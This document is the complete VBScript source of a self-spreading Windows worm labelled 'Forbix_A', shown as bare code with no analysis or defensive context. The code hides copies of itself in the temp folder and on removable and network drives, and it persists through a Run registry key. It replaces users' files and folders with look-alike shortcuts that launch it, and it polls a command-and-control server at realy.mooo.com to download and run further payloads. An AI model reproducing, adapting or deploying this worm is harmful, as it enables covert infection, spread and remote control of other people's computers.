Forbix_A worm

'<coded by Bl4cKs0cK>'
On Error Resume Next
Dim host
host = "realy.mooo.com"
Dim host_script
host_script = "bot/lancer/index.php"
Dim activ_name
activ_name = "SysinfYhX.db"
Dim passiv_name
passiv_name = "Manuel.doc"
Dim sleep_tim
sleep_time = 2000
Dim http
Set http = CreateObject("MSXML2.ServerXMLHTTP")
Dim sh
Set sh = WScript.CreateObject("WScript.Shell")
Dim fs
Set fs= CreateObject("Scripting.FileSystemObject")
Const adTypeBinary = 1
Const adTypeText = 2
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
Dim stream_self
Set stream_self = CreateObject("Adodb.Stream")
Dim script_name
script_name = Wscript.ScriptName
Dim tmp_dir
tmp_dir = sh.ExpandEnvironmentStrings("%temp%") & "\"
host = "http://" & host & "/"
stream_self.Type = adTypeBinary
stream_self.Open
stream_self.LoadFromFile fs.GetFile(Wscript.ScriptFullName)
Dim script_size
script_size = stream_self.Size
If (script_name = activ_name) Then
    Dim serv_rep
    While True
        infect_drives
        infect_registre
        serv_rep = serv_cmd(version)
        If serv_rep <> "-1" Then
            If serv_rep <> "0" Then
                msgbox("nw version valable")
                get_new_v(serv_rep)
            Else
                serv_rep = serv_cmd("list")
                If serv_rep <> "-1" Then
x                   get_list(serv_rep)
                End If
            End If

        End If
        protect_del
        wscript.sleep sleep_time
    Wend
Else
    infect_machin
End if
Function serv_cmd(cmd)
 On Error Resume Next
    Dim stat
    http.Open "GET", host & host_script & "?cmd=" & cmd , False
    http.Send
    stat = http.Status
    If stat <> 200 Then
        serv_cmd = "-1"
    ELse
        serv_cmd=http.ResponseText
    End If
End Function
Function bot_up(arr)
 On Error Resume Next
    Dim stat, frm_, to_, lnc_
    frm_ = arr(1)
    size_ = arr(2)
    to_ = arr(3)
    lnc_ = arr(4)
    Dim stream
    Set stream = CreateObject("Adodb.Stream")
    stream.Type = adTypeBinary
    stream.Open
    If fs.FileExists (tmp_dir & to_) Then
        If fs.GetFile(tmp_dir & to_).Size <> size_ Then
            fs.GetFile(tmp_dir & to_).Attributes=2
            fs.DeleteFile tmp_dir & to_, True
            http.Open "GET", frm_, False
            http.Send
            If http.Status <> 200 Then
                bot_up = False
            Else
                stream.Write http.ResponseBody
                stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
                fs.GetFile(tmp_dir & to_).Attributes=1+2+4
                bot_up = True
            End If
        Else
            bot_up = False
        End If
    Else
        http.Open "GET", frm_, False
        http.Send
        If http.Status <> 200 Then
            bot_up = False
        Else
            stream.Write http.ResponseBody
            stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
            fs.GetFile(tmp_dir & to_).Attributes=1+2+4
            bot_up = True
        End If
    End If
    stream.Close
    If bot_up Then
        sh.Run "cmd /c start " & lnc_ & " %temp%\" & to_, 0
    End If
End Function
Function get_split(in_)
 On Error Resume Next
    Dim ret
    ret = Array(True, "", 0, "", "")
    ret(1) = Split(Split(in_, "<from>")(1), "<br>")(0)
    ret(2) = CInt(Split(Split(in_, "<size>")(1), "<br>")(0))
    ret(3) = Split(Split(in_, "<to>")(1), "<br>")(0)
    ret(4) = Split(Split(in_, "<lancer>")(1), "<br>")(0)
    For Each a In ret
        If a = "" Or a = " " Then
            ret(0) = False
            Exit For
        End If
    Next
    get_split = ret
End Function
Function get_new_v(req)
 On Error Resume Next
    Dim data_
    data_ = get_split(req)
    If data_(0) Then
        If bot_up(data_) Then
            If data_(3) <> script_name Then
                del_registre
                fs.GetFile(Wscript.ScriptFullName).Attributes=2
                fs.DeleteFile Wscript.ScriptFullName, True
            End If
            wscript.quit
        End If
    End If
End Function
Function get_list(req)
 On Error Resume Next
    If req <> "0" Then
        Dim tbl
        tbl = Split(req, "<list>")
        For Each case_ In tbl
            Dim data_
            data_ = get_split(case_)
            If data_(0) Then
                bot_up(data_)
            End If
        Next
        get_list = True
    Else
        get_list = False
    End If
End Function
Function infect_machin
 On Error Resume Next
    infect_registre
    If fs.FileExistes (tmp_dir & activ_name) Then
        If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
            fs.GetFile(tmp_dir & activ_name).Attributes=2
            fs.DeleteFile tmp_dir & activ_name, True
            stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
            fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
            infect_machin = True
        Else
            infect_machin = False
        End If
    Else
        stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
        fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
        infect_machin = True
    End If
    If infect_machin Then
        sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
    End If
    wscript.quit
End Function
 Sub infect_drives
  On Error Resume Next
    Dim sys_drive
    sys_drive = sh.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
    For Each cle In fs.Drives
        If cle.isReady And (cle.DriveType = 1 Or cle.DriveType = 3 Or cle.DriveType = 4) Then
            Dim d
            d = cle.path
            If d <> sys_drive Then
                If fs.FileExists(d & "\" & passiv_name) Then
                    If fs.GetFile(d & "\" & passiv_name).Size <> script_size Then
                        fs.GetFile(d & "\" & passiv_name).Attributes=2
                        fs.DeleteFile d & "\" & passiv_name, True
                        stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateOverWrite
                        fs.GetFile(d & "\" & passiv_name).Attributes=1+2+4
                    End If
                Else
                    If cle.FreeSpace > script_size Then
                        stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateNotExist
                        fs.GetFile(d & "\" & passiv_name).Attributes=1+2+4
                    End If
                End If
                If cle.FreeSpace > 0 Then
                    For Each f In fs.GetFolder(d & "\").Files
                        Dim f_ext
                        If instr(f.name, ".") Then
                            Dim f_name
                            f_name = split(f.name, ".")
                            f_ext = lcase( f_name(ubound(f_name)) )
                        Else
                            f_ext = "NULL"
                        End if

                        If f_ext <> "lnk" And f.name <> passiv_name Then
                            f.Attributes = 2+4
                            If fs.FileExists(d & "\" & f.name & ".lnk") Then
                                fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 0
                            End If
                            Dim shurt, s_icon
                            Set shurt = sh.CreateShortcut(d & "\" & f.name & ".lnk")
                            shurt.WindowStyle = 7
                            shurt.TargetPath = "cmd.exe"
                            shurt.WorkingDirectory = ""
                            Dim f_arg
                            f_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start " & replace( f.name," ", ChrW(34) & " " & ChrW(34))
                            shurt.Arguments = f_arg & " & exit"
                            s_icon = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & f_ext & "\") & "\DefaultIcon\")
                            If ( instr(s_icon, ",") = 0 ) Or f_ext = "NULL" Then
                                shurt.IconLocation = f.path
                            Else
                                shurt.IconLocation = s_icon
                            End if
                            shurt.Save()
                            fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 1
                        End if
                    Next
                    For Each ff In fs.GetFolder(d & "\").SubFolders
                        ff.Attributes = 2+4
                        If fs.FileExists(d & "\" & ff.name & ".lnk") Then
                            fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 0
                        End If
                        Dim shurt_, s_icon_
                        Set shurt_ = sh.CreateShortcut(d & "\" & ff.name & ".lnk")
                        shurt_.WindowStyle = 7
                        shurt_.TargetPath = "cmd.exe"
                        shurt_.WorkingDirectory = ""
                        Dim ff_arg
                        ff_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start explorer " & replace( ff.name," ", ChrW(34) & " " & ChrW(34))
                        shurt_.Arguments = ff_arg & " & exit"
                        s_icon_ = sh.regread("HKLM\SOFTWARE\Classes\Folder\DefaultIcon\")
                        If instr(s_icon_, ",") = 0 Then
                            shurt_.IconLocation = ff.path
                        Else
                            shurt_.IconLocation = s_icon_
                        End if
                        shurt_.save()
                        fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 1
                    Next
                End If
            End If
        End If
    Next
End Sub
Sub infect_registre
 On Error Resume Next
    Dim target, reg_d
    target = "C:\WINDOWS\system32\cmd.exe /c start wscript  /e:VBScript.Encode %temp%\" & activ_name
    reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
    sh.regwrite "HKCU" & reg_d, target, "REG_SZ"
    reg_d = "\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
    sh.regwrite "HKCU" & reg_d, 2, "REG_DWORD"
End Sub
Sub del_registre
 On Error Resume Next
    Dim reg_d
    reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
    sh.RegDelete "HKCU\" & reg_d
End Sub
Function protect_del
 On Error Resume Next
    If fs.FileExistes (tmp_dir & activ_name) Then
        If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
            fs.GetFile(tmp_dir & activ_name).Attributes=2
            stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
            fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
        End If
    Else
        stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
        fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
    End If
End Function